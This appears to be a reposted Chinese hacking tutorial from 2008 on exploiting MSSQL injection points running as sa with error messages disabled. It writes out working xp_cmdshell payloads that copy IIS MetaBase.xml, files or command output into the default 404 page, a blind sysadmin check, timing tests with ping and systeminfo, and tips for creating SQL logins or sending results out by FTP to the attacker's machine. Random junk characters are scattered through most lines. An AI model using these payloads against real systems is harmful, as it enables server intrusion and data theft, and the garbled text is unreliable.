遇到一个sa注入点,mssql错误提示关闭无疑shi让人郁闷的事情。! V8 S; a7 ~, K4 q7 B
) a( p, x5 z( z5 I
虽然错误提示关闭也shi可能以列目录,执行命令,但shishi多少就有些不方便。阿D就可能以在错误提示关闭的情况下列目录。
0 E h* O; \# ~* \8 F9 |. w0 S) |
4 m" r& h) r$ Q: Z( T" v5 o* B4 w 这里有一个很好的方法,让你得到web目录路径,让你得到服务器上的文件,让你执行命令得到回显。* q, W* s) Y, a! L
7 G8 O. Y+ {/ q8 ~* p! t: X3 T
IIS,404页面的默认路径shi C:\Windows\Help\iisHelp\common\404b.htm
/ l7 k3 K3 ~2 D+ Q' f; y$ |2 X1 `0 x2 Y
得到web路径exec master..xp_cmdshell ’copy C:\Windows\system32\inetsrv\MetaBase.xml C:\Windows\Help\iisHelp\common\404b.htm’--- m0 h2 v8 {% K3 B) b/ Y, H
" u2 U7 l! Q9 b
,这shi20003,如果是2000的话,exec master..xp_cmdshell ’copy C:\Winnt\system32 \inetsrv\MetaBase.xml C:\Winnts\Help\iisHelp\common\404b.htm’--,在 MetaBase.xml存着IIS的很多信息。执行上面的语句之后,你再访问一下网站一个不存在的文件或目录,显示的就shiMetaBase.xml 的内容了。/ I+ ]3 Z6 Y# r* i; R9 k8 z) I, I. C
4 q- j2 M8 I w1 Z$ i
执行命令得到回显
, h- ~: W! v; c' Y& a8 K& s& f$ A$ Y+ t
通过上面得到web路径的方法,你肯定很容易想到怎么得到回显了吧。 2003,exec master..xp_cmdshell ’ver >C:\Windows\Help\iisHelp\common \404b.htm’--如果是2000,exec master..xp_cmdshell ’ver >C:\Winnt\Help \iisHelp\common\404b.htm’--
& L S! w+ I/ B
. l; H1 I0 @* ~ E 得到文件也shi相同,把文件copy到404b.htm就行了9 ]9 R" E1 _$ j+ i
# W+ ?2 b/ @* _9 T, M& k( n7 w
by 28ice, 2008/6/26
Y' q$ K# A- `% K) L' \' H
1 v4 k) N! F" q# s W 摘自 28度的冰
1 W; v% L9 k- m) ?
$ t1 c } f! r, \/ W) v3 x3 r 盲注判断权限和操作系统版本
5 M6 h% B( ]0 @# y; K0 `% V, c' e8 U* @2 i8 |2 F& t# n w, A# M
首先第一个问题,如果错误提示关闭,怎么判断当前的权限shi否为sysadmin呢?. O' F" K& t! i, a6 i! Y
0 b1 F8 l3 K6 m6 N( `/ ?& G/ h
最简单的,可能以用这样的方法:
$ _4 u, c; d+ H) n
, Q4 p* m' s1 `0 B+ L6 V% i* Z/ B 1=(select IS_SRVROLEMEMBER(’sysadmin’))
; s7 R9 q+ B# f- M0 U3 z$ i/ K# [3 l8 w; Q, p$ ~6 D7 F
当然,有些情况下,这个方法并不奏效。 o0 x Q( B* ]3 s
# t5 j$ H- U" g' q, m) R2 U
既然shisa,我们就可能以通过执行命令判断,不过,既然错误提示关闭,那么执行的结果就很不容易拿到。- K0 a% \, {2 B" }. E
* `# N" e$ V& @" F 有个3办法可能以解决这个问题, H2 j- ~, J2 P/ E N
+ X$ b7 J& v* Y a.把执行结果写到404b.htm,具体请看我的上一篇文章5 e+ X4 T3 d A6 w8 m' I
. N* A" m% x1 f. N, F
b.执行ping 127.1 -n 10,看看页面shi否延迟10秒钟
; D* J9 J* a# U2 \3 ]! I6 |6 ~% z- v
: ~' x: q2 P/ n6 ] c.如果1433端口可能以连接,那干脆新建个sql登录
! g2 R5 P- S0 x M) m3 W
6 C) A. ]7 y/ S# ^, R, C3 n d.如果大牛你shi公网Ip,openrowset,或者直接telnet,ftp到你自己的机子,说到这里,ftp还有别的用处,比如,把执行结果写到文件中,然后通过ftp传到你的机子上,这何尝不shi获得执行结果的一个好办法。当然,你可能能要用到ftp的-s参数
' ~0 {! g- J7 u7 _
- v9 |( p1 `1 ~# E/ P% Z% l 还有一个问题,怎么判断系统shi2000还shi2003?当然指的shi错误提示关闭的情况下7 t3 n! L! `9 n( ?7 x
. y& w# w$ U7 j( i: s 很简单
8 m+ ]& W: |# G/ Z3 N5 u) p2 C. m' Q- X* K9 p# c/ d
执行systeminfo( I Z+ o6 Z2 N! y2 O) w9 L
2 F# z! n+ |3 a. u8 R
在xp/2003下才有这个命令,这个命令执行大概需要5秒钟时间。如果页面延迟5秒,就可能以进一步断定这shi2003(当然不排除2008的可能能性)。 |